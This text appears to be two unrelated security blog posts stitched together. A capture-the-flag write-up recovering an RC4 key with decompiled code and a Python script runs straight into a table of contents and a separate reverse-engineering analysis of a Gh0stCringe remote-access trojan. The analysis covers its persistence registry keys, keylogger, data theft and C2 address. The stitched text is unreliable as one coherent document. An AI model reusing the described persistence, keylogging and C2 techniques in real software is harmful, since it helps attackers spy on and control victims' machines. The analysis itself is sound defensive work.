Now, we know this DLL is used to generate the RC4 key used to encrypt the .html file, so, now the goal is to recover this key to decrypt the file.

As stated before, from the function sub_1860() called by main() we know 3 different functions of this DLL are called:

• gen_from_file() passing anonymous as argument
• get_result_bytes() passing Block and its size as arguments
• gen() passing a Buffer and its size (v3) as argument

Actually, since the victim’s machine has the anonymous file, only gen_from_file() is called, given that the function returns after the Block buffer is populated. Anyway, this is irrelevant, since the remaining code of sub_1860() still opens anonymous file and passes its content to gen(), resulting in the same function executed. In fact, gen_from_file() takes a file name string as input, opens the file and then pass its content to gen(), the function that actually generate the RC4 password.

_BYTE *__fastcall gen_from_file(const char *a1)
{
  _BYTE *v2; // [rsp+20h] [rbp-20h]
  void *Buffer; // [rsp+28h] [rbp-18h]
  int v4; // [rsp+34h] [rbp-Ch]
  FILE *Stream; // [rsp+38h] [rbp-8h]

  Stream = fopen(a1, "rb");
  if ( !Stream )
    return 0;
  fseek(Stream, 0, 2);
  v4 = ftell(Stream);
  rewind(Stream);
  if ( v4 > 0 && (Buffer = malloc(v4)) != 0 )
  {
    fread(Buffer, 1u, v4, Stream);
    fclose(Stream);
    v2 = gen(Buffer, v4);
    free(Buffer);
    return v2;
  }
  else
  {
    fclose(Stream);
    return 0;
  }
}

The gen() function contains the algorithm used to generate the RC4 key starting from the content of a buffer. Here’s the decompiled code:

_BYTE *__fastcall gen(char *buf, unsigned __int64 bufLen)
{
  _BYTE *result; // rax
  unsigned __int8 j; // [rsp+3h] [rbp-Dh]
  char n; // [rsp+4h] [rbp-Ch]
  unsigned __int8 m; // [rsp+5h] [rbp-Bh]
  unsigned __int64 i; // [rsp+8h] [rbp-8h]

  i = 0;
  while ( 2 )
  {
    if ( i >= bufLen )
      return 0;
    switch ( buf[i] )
    {
      case 1:
        if ( i + 2 >= bufLen )
        {
          i = bufLen;
        }
        else
        {
          a1[(unsigned __int8)buf[i + 1]] = buf[i + 2];
          i += 3LL;
        }
        continue;
      case 2:
        if ( i + 2 >= bufLen )
        {
          i = bufLen;
        }
        else
        {
          j = buf[i + 1];
          if ( j <= 3u )
            a2[j] = buf[i + 2];
          i += 3LL;
        }
        continue;
      case 3:
        if ( i + 2 >= bufLen )
        {
          i = bufLen;
        }
        else
        {
          m = buf[i + 1];
          n = buf[i + 2];
          if ( (m & 1) != 0 )
            a3[m] = a1[m] - n;
          else
            a3[m] = n + a1[m];
          i += 3LL;
        }
        continue;
      case 4:
        if ( i + 1 >= bufLen )
        {
          i = bufLen;
        }
        else
        {

          resultArray[(unsigned __int8)buf[i + 1]] = a2[buf[i + 1] & 3] ^ a3[(unsigned __int8)buf[i + 1]];
          i += 2LL;
        }
        continue;
      case 5:
        result = resultArray;
        break;
      default:
        result = 0;
        break;
    }
    break;
  }
  return result;
}

Instead of trying to understand its logic, I’ve implemented the algorithm in a Python script and executed with the content of anonymous file (extracted from the pcap file). The result was the following:

$ python gen_rc4_key.py anonymous 
r4ns0mw@rE_c4n_d357r0y_f1l3s_n0w

Here’s the script code:

a1 = [0] * 256
a2 = [0] * 32
a3 = [0] * 256
resultArray = [0] * 256
result = 1
buf = []

with open("./anonymous", "rb") as input:
    for x in range(0, 269):
        c = int.from_bytes(input.read(1))
        buf.append(c)

    i = 0
    bufLen = len(buf)

    while True:
        if i >= bufLen:
            exit(0)
        c = buf[i]
        if c == 1:
            if i + 2 >= bufLen:
                i = bufLen
            else:
                a1[buf[i + 1]] = buf[i + 2]
                i = i + 3
        elif c == 2:
            if i + 2 >= bufLen:
                i = bufLen
            else:
                j = buf[i + 1]
                if j <= 3:
                    a2[j] = buf[i + 2]
                i = i + 3
        elif c == 3:
            if i + 2 >= bufLen:
                i = bufLen
            else:
                m = buf[i + 1]
                n = buf[i + 2]
                if (m & 1) != 0:
                    a3[m] = a1[m] - n
                else:
                    a3[m] = n + a1[m]
                i = i + 3
        elif c == 4:
            if i + 1 >= bufLen:
                i = bufLen
            else:
                resultArray[buf[i + 1]] = a2[buf[i + 1] & 3] ^ a3[buf[i + 1]]
                i = i + 2
        elif c == 5:
            result = resultArray
            break
        else:
            result = 0
            break

for c in resultArray:
    print(chr(c), end="")
print()

Obtaining the Flag

The last thing to do is to recover the flag. Surely it is inside the remaining html file encrypted, since it is the last file to recover. We know the algorithm and the password used to encrypt it. From the pcap file we can recover its content.

Using CyberChef, the decryption was successfull:

Opening the html file file revealed the flag:

References

• Introduction
• Dynamic analysis
• Static analysis
  • Loader analysis
  • DLL analysis
• Conclusion

Introduction

The sample is documented at this link and here are some details:

This malware is a standard PE, it’s not obfuscated but it contains an embedded DLL protected by two different encryption layers, in order to bypass antiviruses and EDRs detection. Once decrypted, the DLL is injected into memory and executed. In fact, it’s the DLL to perform all the malicious operations this malware does. In this post I’ll share a deep dive on these binary files.

Dynamic analysis

First of all, i ran the executable to try to understand what it did. The execution environment was composed by 2 VMs, isolated inside the same internal network, without Internet access. These machine were:

Once executed, i’ve seen that the malware tried to send some data to the 156.236.72.163 address, to port tcp/8000:

The data appeared encrypted in some way, but the repeated a3 bytes looked suspicious, as they suggested an encryption method using this single byte XORed through all the data. Trying to perform a XOR with a3 resulted in another incomprehensible bunch of bytes, so there should be another encryption layer.

Another action this malware did was set persistence. This was obtained modifying the registry key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\(Default). In this way the malware would have been executed on every machine reboot.

Among all the registry operation, it jumped out a failed attempt to create a service. So, probably, this malware tried different techniques in order to obtain persistence:

As you can see in the image above, the malware tried to create a service named Rsoyac uyuyscoi but since it did not have enough privileges, the access to the registry key resulted in an access denied error.

I did not notice others signals that jumped out during the malware execution. In addition, and sadly, i discovered that the C2 server the malware tried to send data to, was not reachable anymore, so it was impossible to analyze the interaction between this malware and its remote server.

After this quick session of dynamic analysis, i’ve decided to start with a deeper static analysis, trying to do some reverse engineering in order to unveil its hidden details.

Static analysis

Loader analysis

The file 1.exe is a 32-bit malware written in C++. It is not packed, but its import table does not contain all the functions it uses while running, since it only imports KERNEL32.dll.

Note: the sample was loaded in a disassembler at base address 0x00400000, so all the addresses reported below are relative to this base.

Once imported the sample into IDA and disassembled, it was possible to note that the WinMain function is a wrapper of another function, the one that really does something. I’ve called this function real_main:

push    ebp
mov     ebp, esp
push    offset aStudyhard ; "StudyHard"
call    real_main
add     esp, 4
xor     eax, eax
pop     ebp
retn    10h

In different points of the code, an obfuscation technique based on C++ exception was used. However, IDA correctly handled them quite well, and in points where it was not clear the next instructions executed, using a debugger solved the problem.

The real_main function calls two interesting functions. Each of them takes, among other arguments, an address pointing to the start of a long byte buffer, and both functions perform operations on these bytes. This address is 0x0041105C, and it is likely encrypted, with these functions responsible for decrypting it. I’ve named them decrypt_1 and decrypt_2.

decrypt_1 takes as argument the address of the encrypted buffer, the size of it and a seed used to derive the key used to perform decryption operations. It can be summarized in this way:

for(int i = 0; i < size; ++i) {
  buf[i] = ( (buf[i] ^ key) + key )
}

where key == 0x7a, derived starting from the seed 0x4381 using the following code:

mov     eax, [ebp+seed]
and     eax, 0FFh
cdq
mov     ecx, 5Fh
idiv    ecx
add     edx, 58h
mov     [ebp+key], dl

decrypt_2, instead, seems to be an implementation of the (XX)TEA algorithm, due to the presence of the constants 0x61C88647 and 0x9E3779B9. This function takes as argument the key (an array of integer [8, 0, 8, 1]), the buffer length negated and the address to the buffer to decrypt. I did not spend time to analyze this function, since i was more interested to the content of the buffer once decrypted. So, using a debugger, i’ve checked the buffer once both of the decryption functions terminated their execution.

The initial MZ bytes and the subsequent message This program cannot be run in DOS mode suggested that this buffer contained an executable. In fact, once extracted, it was evident that this was a DLL. The rest of the malware code manually injects this DLL in its address space and transfers the execution to it. This injection is performed using standard functions like VirtualAlloc and VirtualProtect, whose addresses were recovered through the usage of LoadLibrary and GetProcAddress.

At offset 0x00401843 there is the call instruction to pass the execution to the DLL entry point.

Although the DLL exports a function named StudyHard, it is never called because execution is transferred directly to DllMain. Nevertheless, StudyHard is identical to DllMain, so nothing would have changed by running it instead of DllMain.

From now on, i will show the analysis performed to the extracted DLL.

DLL analysis

First of all, it seems this DLL has an hardcoded configuration to make the malware behave in a certain way. During this analysis i will focus more on the configuration present on the sample i have.

As for the loader, I’ve imported this DLL in IDA using 0x10000000 as base address, so all the addresses are relative to it.

Starting the analysis, the first action this malware is configured to do is to retrieve the PID of its parent process. If it is 0, the malware terminates. Otherwise, the malware is configured to kill any running instance of rundll.exe, as an attempt at an anti-debug techique. This is done by the function call at address 0x10005D7C:

Subsequently, another flag is checked to see if the malware should download a file from Internet. In this case my sample was not configured to do it, so i pass over these instructions. After that, the configuration makes it call GetVersionExA in order to retrieve the OS version of the victim’s machine. In particular, the malware is selecting a path based on the Windows version of the machine that is running it. In my case (in the path selected if you are running a Windows 10 machine) at address 0x10007CB5 a thread is created with the only goal to set persistence using the registry key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\(Default), as we noted during dynamic analysis.

The alternative paths selected when using different Windows versions attempt to obtain the same goal, but using different methods, like the creation of a service. Note that, even in these paths, there is a configuration flag that makes the malware copy itself to C:\Program Files\Nkfkyhs.exe or not.

Continuing with the code, another thread is created and this is the responsible for executing all the logic of this malware. Note that, to create this second thread, the malware does not call directly CreateThread, but it uses a wrapper function (renamed in create_thread) that calls _beginthreadex. Here, the malware author tried to do some obfuscation, since the target of _beginthreadex is not the real function the newly thread will execute but a ‘trampoline’ that will execute the real function.

In the following screenshot you can note that create_thread creates a new thread to execute thread_trampoline, with the real function to execute passed as argument. In addition, note the event created that will be signaled inside thread_trampoline, to communicate to the parent that the thread has been created before continuing the execution.

Finally, thread_trampoline takes the real function to run and executes it:

Now, going further the technique used to create this new thread, let’s focus on what it does. First of all, it creates a mutex named 156.236.72.163:8000:Rsoyac uyuyscoi, to ensure that the malware is executed only once, then it tries to set persistence for all users, setting the registry key HKLM/SYSTEM\CurrentControlSet\Services\Rsoyac uyuyscoi. As noted during dynamic analysis, this operation fails due to the lack of the privileges to edit this key. This operation is performed at address 0x10008AE8:

(The function pointer to RegCreateKeyExA used by the call instruction is retrieved previosly in the code with a combination of LoadLibraryA and GetProcAddress).

After that, another configuration flag is checked to determine whether a new thread for keylogging needs to be created. In this case, the DLL is configured to do so, so the thread is created and it’s responsible for performing keylogging and saving all keystrokes to a file named Default.key. This function is located at address 0x100026A0, and you can identify it as a keylogger by examining the calls it makes.

The functions get_window_title and write_to_file were renamed by me after analysis.

The file containing all the keystrokes is stored at C:\Users\<username>\AppData\Local\VirtualStore\Windows\SysWOW64\Default.key, even through the code calls GetSystemDirectoryA. This happens because the malware does not have the privileges required to write to the C:\Windows\System32 folder. As a fallback, Windows File Virtualization redirects the write attempt to VirtualStore, a per-user folder where unauthorized writes to protected system locations (such as C:\Windows\System32) are stored instead.

I had not noticed this file during the initial dynamic analysis, but when running the malware again, the file was indeed written:

However, the content of this file is encrypted in some way:

This because, inside write_to_file() function (at address 0x10002450) each byte is XORed with 0x62 before being written:

In fact, doing the XOR again unveils the file content:

The characters between the square brackets should be asian, but since i’m using a different locale they aren’t displayed correctly.

After the keylog thread creation, the DLL establish a TCP socket to the C2 server (IP: 156.236.72.163, port tcp/8000) through a function i’ve renamed connect_to_host(). The call instruction is located at address 0x1000668E and this function, in addition, creates another thread to receive and manage the response from the server. I will analyze this part later.

It’s important to note the call at address 0x100066BA, since, in the function called, a pointer is stored in a class previously created. This pointer is located at address 0x1000C30C and it seems to be the vtable for the class. This will return during the C2 response analysis, where these functions are selected based on what the C2 server sends to the malware.

So, after the socket creation, the malware sends the first message to its C2 server, to nofify it about the new machine infected. This is performed by the function at address 0x100059D0 and that i’ve renamed in send_data (call instruction at address 0x100066E5). Before send the message, this function gathers data about the infected machine. These data are:

• Machine name (gethostname())
• OS version (GetVersionExA())
• Registry key HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz
• Number of processors
• Physical and virtual memory usage (GlobalMemoryStatusEx())
• Drive type and free space in each of them (GetDriveTypeA() and GetDiskFreeSpaceExA())
• Bit of the system (IsWow64Process())
• Running antivirus
• If the infected PC is inactive (GetLastInputInfo() and GetTickCount())

In particular, to check for all drives, the DLL checks for each letter starting from A: to Z: and calls the two functions for each of them:

To detect a running antivirus, the DLL embeds a list of process names known to belong to antivirus programs. Using the CreateToolhelp32Snapshot(), Process32First(), and Process32Next() functions, it enumerates all running processes and checks for matches against its antivirus list.

Finally, to detect if the victim’s PC is inactive, it substracts from the return value of GetTickCount() the value contained by the dwTime member of the plii structure, filled after the call to GetLastInputInfo(). If the result is above 180000 milliseconds (3 minutes), the PC is considered inactive.

After all the data is gathered, the DLL sends it to the C2 server. The actual call to send() is performed by the function at address 0x10002390. However, as noted during dynamic analysis, the data sent through the socket is encrypted. In fact, always in this function, before sending the payload, the buffer is encrypted with a combination of XOR and subtraction. In particular, the value 0x46 is subtracted to each byte and then each of them is XORed with 0x19:

Reversing these operations (doing first the XOR with 0x19 and then add 0x46) it is possible to obtain the sent data in clear text:

At first glance it is possible to detect the computer name, the number of processors and the name of the antivirus. After the payload is sent, the malware waits a bit before it gathers the data and sends to C2 again, in loop.

Now, it’s time to check what the malware does when it receives messages from the C2 server. Unfortunately, the C2 server seems to be unreachable at the time of writing this post, so it was impossible for me to dynamically debug the malware when a message is received. However, as mentioned previously, Once the DLL creates a socket with the C2 server, the same function creates a thread used to receive and parse message from the server. This function is located at address 0x10001E20 and after the recv() call, it is possible to observe that the received message is decrypted in the same way done to decrypt the sent buffer.

After the decryption, the DLL starts to parse the message, at a function located at address 0x10001F30. Here, the assembly is a bit confusing, especially without the possibility to debug it, but the most interesting part is the call() instruction towards the end of the function, at address 0x10002142:

The content of the edx registry is the vtable mentioned early (addess 0x1000C30C) and as you can see from the screenshot above, the second function is called:

I’ve renamed the called function as manage_operation, since it contains a switch case to execute various tasks based on the content of the message received. Probably, the message from C2 server contains a number or something similar that could be used as index to select the right path.

The features this malware makes available are the following (they’re not all the features but the ones i managed to understand):

• Starting the keylog thread and socket creation (even if the malware is configured to not automatically start it while executed)
• Extending malware features, by dynamically loading DLLs
• Trying to elevate its privileges
• Uninstalling itself and remove all traces
• Trying to set the malware as a Windows service
• Showing messages to victim’s machine (using MessageBoxA())
• Proxy capabilities
• Interacting with the victim’s machine desktop
• Executing shell commands
• Creating files
• List victim’s machine processes
• Enumerating opened windows on Desktop
• Copying itself to C:\Program Files\Common Files\scvh0st.exe and set persistence modifying the registry key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\(Default)

Conclusion

After gaining knowledge about this malware and searching on Google, i’m pretty sure this malware is a variant of Ghost RAT malware, named Gh0stCringe. The source code of Ghost RAT was release publicly years ago and the only fact that it is public it makes it a good choice as a starting point even today. A lot of variants have been discovered in these years and Gh0stCringe is one of them. Looking at the data sent periodically from the client to the server, it’s possible to observe a V9.5 that could indicate that this is the version 9.5 of this variant.

Among the encrypted DLL, the code obfuscation techniques and the different encryption methods adopted, I found this analysis fun to do. Since this is not a new threat, there are already different YARA rules that detect it. Anyway, here’s IoC table for this version: